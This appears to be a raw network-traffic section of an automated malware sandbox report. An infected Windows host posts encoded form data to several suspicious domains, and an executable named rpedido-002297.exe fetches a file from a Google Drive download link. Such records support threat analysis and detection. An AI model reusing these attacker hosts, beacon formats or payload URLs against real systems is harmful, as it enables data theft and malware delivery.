Oct 3, 2024 18:16:51.700529099 CEST	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Thu, 03 Oct 2024 16:16:51 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.11.20	49809	104.223.44.195	80

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:16:54.225970984 CEST	1289	OUT	POST /195u/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.kerennih31.click Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 7371 Origin: http://www.kerennih31.click Referer: http://www.kerennih31.click/195u/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 58 50 77 6a 77 42 70 68 4d 6d 77 38 66 68 68 53 39 4a 79 6c 74 73 42 52 6f 36 35 6c 66 33 76 77 4e 66 6a 63 4a 76 59 41 75 34 67 35 47 78 61 79 72 78 70 35 41 35 56 55 51 4f 78 33 4e 75 6e 63 30 65 67 42 78 49 73 7a 4a 31 38 6e 50 76 67 73 7a 64 64 74 57 6c 56 4c 44 37 34 67 56 59 6b 70 70 35 62 6a 58 50 73 7a 33 53 72 73 31 44 39 44 49 65 39 68 30 30 67 42 4a 57 6a 34 48 38 30 30 54 32 31 39 4c 41 36 2b 44 2b 78 5a 79 57 55 44 65 53 4f 43 72 38 34 78 6b 77 6b 43 77 75 52 34 57 53 58 75 77 46 56 59 55 6b 32 48 39 38 59 56 72 52 69 49 73 57 6c 46 6d 71 59 67 6a 70 75 49 75 77 70 43 79 61 41 64 50 30 53 6f 32 61 79 52 32 58 79 78 4c 41 51 34 42 45 72 33 53 6d 37 75 78 67 75 47 6d 54 5a 2f 31 6c 67 71 49 55 7a 48 61 6b 42 54 7a 64 73 48 49 47 43 71 41 46 74 57 2f 51 56 79 4b 45 4d 31 30 54 51 39 79 59 46 5a 48 72 4d 41 64 32 71 42 4c 61 69 72 53 69 64 31 6a 33 55 6c 43 46 33 57 57 72 72 71 4b 49 38 6e 5a 56 71 4e 49 44 41 76 57 52 77 79 73 4f 54 57 38 4e 34 7a 62 4b 39 6a 54 44 68 [TRUNCATED] Data Ascii: SLTxDJ=XPwjwBphMmw8fhhS9JyltsBRo65lf3vwNfjcJvYAu4g5Gxayrxp5A5VUQOx3Nunc0egBxIszJ18nPvgszddtWlVLD74gVYkpp5bjXPsz3Srs1D9DIe9h00gBJWj4H800T219LA6+D+xZyWUDeSOCr84xkwkCwuR4WSXuwFVYUk2H98YVrRiIsWlFmqYgjpuIuwpCyaAdP0So2ayR2XyxLAQ4BEr3Sm7uxguGmTZ/1lgqIUzHakBTzdsHIGCqAFtW/QVyKEM10TQ9yYFZHrMAd2qBLairSid1j3UlCF3WWrrqKI8nZVqNIDAvWRwysOTW8N4zbK9jTDhCiTBO2dEYrV7WeyMx9MBC/iP2YfuLv0LlRFdKxEJb+ZK+QnpyUL/rha86dRik1nCordBKGjsrSZCmaZ/U3IQG0EtO+YKF+SKkVH0vGwbBtdp4CynyDHdHSeQijfg0TLRXKJ2PlJ7hZfru89uDS8TzaBH2Xi0jBDZhcPhWKyzbp+TG8UnJAbDbvDlXXQrMoDFAJZfTMw24HXDVk+yCsQphb21+LiUTCs9IYDUmF5yTkm/hQT9gia+q0tvZXveeA18YYcTscWDo1/ADP39/5gZPXTXOn5yhljb42wKWVPejtyMs0zalxIoV4EDOKcSzwHB8fVAuZDipUaCMkHuH1GUZB4RWVreHaCz6GFOX
Oct 3, 2024 18:16:54.226018906 CEST	1289	OUT	Data Raw: 4e 33 70 56 38 48 6a 74 67 5a 41 68 57 6e 39 63 62 43 62 36 32 66 6a 36 76 70 44 5a 57 4d 49 52 6c 52 71 44 32 50 31 6c 63 58 77 4b 46 39 49 6d 66 54 33 47 30 55 41 69 50 50 38 32 64 79 66 32 55 73 63 5a 47 4a 67 4c 77 53 35 67 78 68 4c 47 56 51 Data Ascii: N3pV8HjtgZAhWn9cbCb62fj6vpDZWMIRlRqD2P1lcXwKF9ImfT3G0UAiPP82dyf2UscZGJgLwS5gxhLGVQfqsML7su4SZf9vsbY6XkgElnRbHzUVWLQ8mSdiUNlvLn7zPx5hM6z8nlGfCztzZIKURpjxvz9Pie9Nh56prrlxhkhd5tyBG+XFuXbOTxwkoXGL3+BfYiMJROmNel+lt8PI3+uQwLTPWuF+KIUbKUiHMj1ynerUzNQ
Oct 3, 2024 18:16:54.226069927 CEST	5387	OUT	Data Raw: 32 79 36 50 6a 53 50 71 4a 73 43 56 32 41 4c 4a 71 5a 58 64 2b 59 65 30 6b 56 73 51 72 32 72 75 74 33 7a 77 69 46 5a 67 55 55 65 6e 50 44 50 79 4e 71 4a 67 66 49 42 5a 2b 55 5a 78 67 71 36 2b 69 58 69 42 77 71 51 39 41 55 53 58 77 6b 43 41 75 31 Data Ascii: 2y6PjSPqJsCV2ALJqZXd+Ye0kVsQr2rut3zwiFZgUUenPDPyNqJgfIBZ+UZxgq6+iXiBwqQ9AUSXwkCAu1oxzQnDQ7lx2+v2dfAfbIpnUKHZGZtiSyapyV7S2hbsy7jcmooG7dc/xud/LiC5HN/wVBWubmlPnFN32ZnBwXkFq4DjD7P29JpzpYI913jnGYumuiN1DJt6J3OB36ykb7XyKNbOZNZSwpHpRKp7e6ZxISHyDvlnYVd
Oct 3, 2024 18:16:54.360663891 CEST	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Thu, 03 Oct 2024 16:16:54 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.11.20	49810	104.223.44.195	80

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:16:56.880548000 CEST	522	OUT	GET /195u/?SLTxDJ=aNYDz25QeW1nHygD0LaYtsh6raBYIBnRK9eBJq58sI9PMC6Y0hkfI4Z/VJ9iKp+j++1Gwc5EXUVHTapx585cEAZeHKtDaaAZqpmCFOpgojzJ8At9FsJqyBw=&sdqp=DdBtjpu0 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.kerennih31.click Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1
Oct 3, 2024 18:16:57.010637045 CEST	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Thu, 03 Oct 2024 16:16:56 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.11.20	49811	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:17:02.131227016 CEST	793	OUT	POST /211a/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.nuvsgloves.shop Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Origin: http://www.nuvsgloves.shop Referer: http://www.nuvsgloves.shop/211a/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 68 41 41 45 77 6e 32 37 41 62 77 66 32 44 79 6a 72 33 46 4c 4a 52 76 2f 39 36 6e 49 79 64 78 70 79 64 31 6c 6d 34 73 31 4f 37 67 56 4f 45 6e 65 75 39 73 51 76 33 59 51 6c 43 63 42 71 67 6e 39 57 6f 63 68 4b 48 74 55 67 2b 47 2f 36 44 7a 44 42 76 71 5a 47 73 68 52 4e 5a 38 6e 57 2b 31 78 41 58 61 32 59 62 6d 36 46 78 51 68 61 68 4c 32 52 49 63 49 34 69 43 47 50 4b 38 4e 42 4d 46 41 45 64 6f 52 70 42 2b 54 38 78 2b 35 64 4b 7a 47 44 46 54 66 4b 2f 57 39 36 46 45 5a 50 62 4d 44 4b 4b 47 4c 6e 75 38 4e 7a 6e 53 73 71 4a 50 54 61 46 4a 59 4b 6a 62 42 55 51 43 67 73 47 35 59 39 51 3d 3d Data Ascii: SLTxDJ=hAAEwn27Abwf2Dyjr3FLJRv/96nIydxpyd1lm4s1O7gVOEneu9sQv3YQlCcBqgn9WochKHtUg+G/6DzDBvqZGshRNZ8nW+1xAXa2Ybm6FxQhahL2RIcI4iCGPK8NBMFAEdoRpB+T8x+5dKzGDFTfK/W96FEZPbMDKKGLnu8NznSsqJPTaFJYKjbBUQCgsG5Y9Q==

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.11.20	49812	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:17:04.771584988 CEST	813	OUT	POST /211a/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.nuvsgloves.shop Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 223 Origin: http://www.nuvsgloves.shop Referer: http://www.nuvsgloves.shop/211a/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 68 41 41 45 77 6e 32 37 41 62 77 66 6e 53 43 6a 6f 51 78 4c 42 52 76 38 67 4b 6e 49 35 39 78 74 79 64 4a 6c 6d 38 38 44 4f 4a 45 56 4f 68 62 65 74 2f 45 51 6d 6e 59 51 75 69 63 45 70 51 6e 4d 57 6f 51 58 4b 47 39 55 67 2b 43 2f 36 47 33 44 42 59 47 61 48 38 68 54 46 35 38 66 53 2b 31 78 41 58 61 32 59 62 43 41 46 78 59 68 5a 52 37 32 51 71 6b 4c 6e 53 43 5a 49 4b 38 4e 4d 73 46 45 45 64 70 43 70 44 62 32 38 7a 32 35 64 4c 6a 47 41 55 54 65 64 76 57 37 2b 46 46 65 42 34 78 31 54 6f 6d 34 6f 2f 67 74 39 45 71 34 69 2f 65 4a 48 33 39 38 4a 77 48 7a 51 67 37 49 75 45 34 44 67 66 74 35 34 4e 73 37 51 6e 53 5a 77 66 2b 66 51 57 2b 51 41 73 4d 3d Data Ascii: SLTxDJ=hAAEwn27AbwfnSCjoQxLBRv8gKnI59xtydJlm88DOJEVOhbet/EQmnYQuicEpQnMWoQXKG9Ug+C/6G3DBYGaH8hTF58fS+1xAXa2YbCAFxYhZR72QqkLnSCZIK8NMsFEEdpCpDb28z25dLjGAUTedvW7+FFeB4x1Tom4o/gt9Eq4i/eJH398JwHzQg7IuE4Dgft54Ns7QnSZwf+fQW+QAsM=

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.11.20	49813	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:17:07.412173033 CEST	2578	OUT	POST /211a/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.nuvsgloves.shop Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 7371 Origin: http://www.nuvsgloves.shop Referer: http://www.nuvsgloves.shop/211a/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 68 41 41 45 77 6e 32 37 41 62 77 66 6e 53 43 6a 6f 51 78 4c 42 52 76 38 67 4b 6e 49 35 39 78 74 79 64 4a 6c 6d 38 38 44 4f 4a 4d 56 4f 58 76 65 71 6f 77 51 30 33 59 51 6a 43 63 46 70 51 6e 52 57 6f 49 4c 4b 47 77 76 67 38 4b 2f 37 6b 2f 44 44 70 47 61 4d 38 68 54 61 70 38 6b 57 2b 30 73 41 54 32 79 59 62 79 41 46 78 59 68 5a 54 6a 32 5a 59 63 4c 6c 53 43 47 50 4b 38 5a 42 4d 45 52 45 64 77 33 70 44 4f 44 39 43 57 35 64 71 54 47 4d 47 4c 65 43 66 57 35 7a 6c 46 38 42 34 39 6d 54 6f 36 61 6f 2f 6b 58 39 48 36 34 6e 34 2f 4c 57 7a 39 32 58 32 4c 6b 55 7a 37 72 69 6b 51 68 6e 63 78 6e 33 39 4d 79 63 68 4f 73 35 70 71 30 46 6b 7a 57 63 4b 6c 30 4b 30 56 70 76 5a 2f 53 4a 64 73 79 6e 49 66 4d 52 34 74 77 69 4b 6c 75 56 71 52 2b 6b 37 4f 48 58 2b 63 4b 58 2f 7a 72 5a 4d 5a 4a 45 30 34 5a 64 32 64 49 37 72 66 6a 74 68 46 32 2b 2f 58 41 5a 77 4b 34 2f 30 76 73 36 55 33 65 4b 55 73 74 57 54 65 42 76 46 4a 6d 33 74 32 34 34 35 55 63 6c 4e 35 51 6d 36 41 54 6e 67 38 4e 47 67 73 75 30 32 72 [TRUNCATED] Data Ascii: SLTxDJ=hAAEwn27AbwfnSCjoQxLBRv8gKnI59xtydJlm88DOJMVOXveqowQ03YQjCcFpQnRWoILKGwvg8K/7k/DDpGaM8hTap8kW+0sAT2yYbyAFxYhZTj2ZYcLlSCGPK8ZBMEREdw3pDOD9CW5dqTGMGLeCfW5zlF8B49mTo6ao/kX9H64n4/LWz92X2LkUz7rikQhncxn39MychOs5pq0FkzWcKl0K0VpvZ/SJdsynIfMR4twiKluVqR+k7OHX+cKX/zrZMZJE04Zd2dI7rfjthF2+/XAZwK4/0vs6U3eKUstWTeBvFJm3t2445UclN5Qm6ATng8NGgsu02r/0o2bX6RoQlmRIy+f6kv01S2SeutpQ85SEBIpUO0AqTsfgiktzSzohIyzD34M1ynNX764UlmO5o86RjHp/Qnrcr3a3clQxEi6FTkvJoakW1qz2nEGhNvc8wPdHBtGAvMpNuMjVG+gBHoGWtN03ILk8I0PR+Erds5lpfWUKuMf7+/1ZvdI+c8OqKcp1ft+I6v4y8LP1aSvDOeMf0qxqoM6X6M0xbz2F075sXeq1WnGlkVL1DXLrzpYpH+kgJdgBxjLDwsfs4+wjq8V/X5OXFVm82RytLpSAxhhWI+98aLzBIwnXiS88BALdV8v5ppahMYUAgx0oD90yGJMuWN0sCCWK8Qv8H3wzZS619XSnHFf66V6gS9qfovlw0eTiwa2hiCFPli+xfrl82Coeza8MbsRU89nadamg9u+1z85E9fuiiCoA6t7VE0IseRkpCBS9NKtptBcYYW6aII0rEspHtfXacNNAprgudUbF3mt6GCv13G61+9HG1INZ18jU5ncK76ouZC3WbiS6p5vYFux3kXWmlP3Y0wNm+MYEPFkgl7R2xJ3ug7zYyH6npRTkQ6RA8MRs2nHT70VOoj8ZCxi3pxB+9rDkhZo7cKOkKSg0YZAqiFKKUNN6xF2WKSnAFU6JUbr3NFIX87eOpdzXi122l4LyxsXS114RDGRo [TRUNCATED]
Oct 3, 2024 18:17:07.412211895 CEST	5156	OUT	Data Raw: 44 55 78 49 76 6f 2f 32 30 47 35 6d 5a 45 33 6d 35 35 65 44 76 56 72 62 74 38 2b 49 43 33 7a 45 71 30 79 74 31 6d 75 6d 66 64 5a 4a 4c 4e 36 54 6b 63 66 62 68 52 70 45 73 47 72 64 32 30 6b 77 6c 71 58 57 55 6a 52 66 58 76 79 4b 69 69 4b 32 75 66 Data Ascii: DUxIvo/20G5mZE3m55eDvVrbt8+IC3zEq0yt1mumfdZJLN6TkcfbhRpEsGrd20kwlqXWUjRfXvyKiiK2ufRuYq0wqWfrpKzohi7Z1cd4Qya9lB5ETvNJ6so5OOekQEVOLdfh4id5I1Cwb19RbB5uMEwlAHsyJKVyjcrtpdE8etw4fqEb8Mt8FNTTD5WWDNStAOwOBI8CzbOgnl3RJl1SoLHgmvWgOMGBcBiQ95g1K5nimNnxUBb
Oct 3, 2024 18:17:07.412277937 CEST	228	OUT	Data Raw: 31 48 58 41 46 62 45 71 4b 52 6b 76 61 6b 47 74 30 4d 47 59 34 4f 49 6f 44 58 79 6c 78 71 69 50 61 44 63 48 42 34 48 57 66 52 74 59 6f 61 58 36 46 48 7a 33 79 32 67 66 4c 52 4e 59 34 47 6a 7a 5a 59 5a 4b 61 6e 44 4d 7a 6e 62 2f 59 6a 74 66 63 42 Data Ascii: 1HXAFbEqKRkvakGt0MGY4OIoDXylxqiPaDcHB4HWfRtYoaX6FHz3y2gfLRNY4GjzZYZKanDMznb/YjtfcBicZza56izuZAspeqbYIZTMKUq50hep+ixGo+vKIKaFdKV/G/iOilX5PsIIBMHsvfT7QPW3xedIP+appvNHwD2rtZWnkirLs9BWN45HwlUNCsYwRqNPToJ5nmcw8R9Fw1hhMpG6wDWE0J1FTQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.11.20	49814	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:17:10.049273968 CEST	521	OUT	GET /211a/?SLTxDJ=sCokzXCHPe9EljO2li5uWyvEvprmidp85P956psXE5pPHneasvASkBMAjzQyqTiufapuM3ZSx9u+6TTkMqSOIoBMOr8rXdhmKhHpcoXyFg81cDzlWYIjmEI=&sdqp=DdBtjpu0 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.nuvsgloves.shop Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1
Oct 3, 2024 18:17:10.152882099 CEST	396	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 03 Oct 2024 16:17:10 GMT Content-Type: text/html Content-Length: 256 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 53 4c 54 78 44 4a 3d 73 43 6f 6b 7a 58 43 48 50 65 39 45 6c 6a 4f 32 6c 69 35 75 57 79 76 45 76 70 72 6d 69 64 70 38 35 50 39 35 36 70 73 58 45 35 70 50 48 6e 65 61 73 76 41 53 6b 42 4d 41 6a 7a 51 79 71 54 69 75 66 61 70 75 4d 33 5a 53 78 39 75 2b 36 54 54 6b 4d 71 53 4f 49 6f 42 4d 4f 72 38 72 58 64 68 6d 4b 68 48 70 63 6f 58 79 46 67 38 31 63 44 7a 6c 57 59 49 6a 6d 45 49 3d 26 73 64 71 70 3d 44 64 42 74 6a 70 75 30 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?SLTxDJ=sCokzXCHPe9EljO2li5uWyvEvprmidp85P956psXE5pPHneasvASkBMAjzQyqTiufapuM3ZSx9u+6TTkMqSOIoBMOr8rXdhmKhHpcoXyFg81cDzlWYIjmEI=&sdqp=DdBtjpu0"}</script></head></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49722	142.250.80.78	443	2360	C:\Users\user\Desktop\rpedido-002297.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:10:37 UTC	216	OUT	GET /uc?export=download&id=11qa_LgJEl_BnZLY-UunAkVKi7fSOJrcE HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache
2024-10-03 16:10:37 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 03 Oct 2024 16:10:37 GMT Location: https://drive.usercontent.google.com/download?id=11qa_LgJEl_BnZLY-UunAkVKi7fSOJrcE&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-WLXMxHxlOdK7FivQv9-X_w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.20	49723	142.250.176.193	443	2360	C:\Users\user\Desktop\rpedido-002297.exe

Timestamp	Bytes transferred	Direction	Data
